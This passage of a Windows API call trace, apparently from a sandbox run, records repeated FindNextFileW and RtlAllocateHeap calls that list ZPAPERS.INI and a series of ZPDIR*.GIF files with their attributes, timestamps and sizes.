lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x189e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPAPERS.INI", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR00.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x13ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR10F.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1706, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR11F.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x6499, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR12F.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR13F.GIF", cAlternateFileName="")) returned 1 [0078.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.024] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x645b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR14F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x452b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR15F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR16F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x34cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR17F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4be9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR18F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc11, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR19F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR1B.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR1F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc85, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR20F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcafed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x42ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR21F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcd6030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1983, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR22F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bcd6030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2a71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR23F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR24F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.025] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x326c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR25F.GIF", cAlternateFileName="")) returned 1 [0078.025] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2072, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR26F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR27F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x10a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR28F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1444, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR29F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20a5ff00, ftCreationTime.dwHighDateTime=0x1bdb3a4, ftLastAccessTime.dwLowDateTime=0x1bd222f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20a5ff00, ftLastWriteTime.dwHighDateTime=0x1bdb3a4, nFileSizeHigh=0x0, nFileSizeLow=0xc49, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR2B.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x154f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR2F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x905a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR30F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3b6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR31F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x9eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR32F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5a34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR33F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa9f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR34F.GIF", cAlternateFileName="")) returned 1 [0078.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4660, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR35F.GIF", cAlternateFileName="")) returned 1 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x875e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR36F.GIF", cAlternateFileName="")) returned 1 [0078.026] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR37F.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xcbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR38F.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xdc9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR39F.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3a1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR3B.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x58e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR3F.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x112a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR40F.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR41F.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe591, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR42F.GIF", cAlternateFileName="")) returned 1 [0078.027] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, 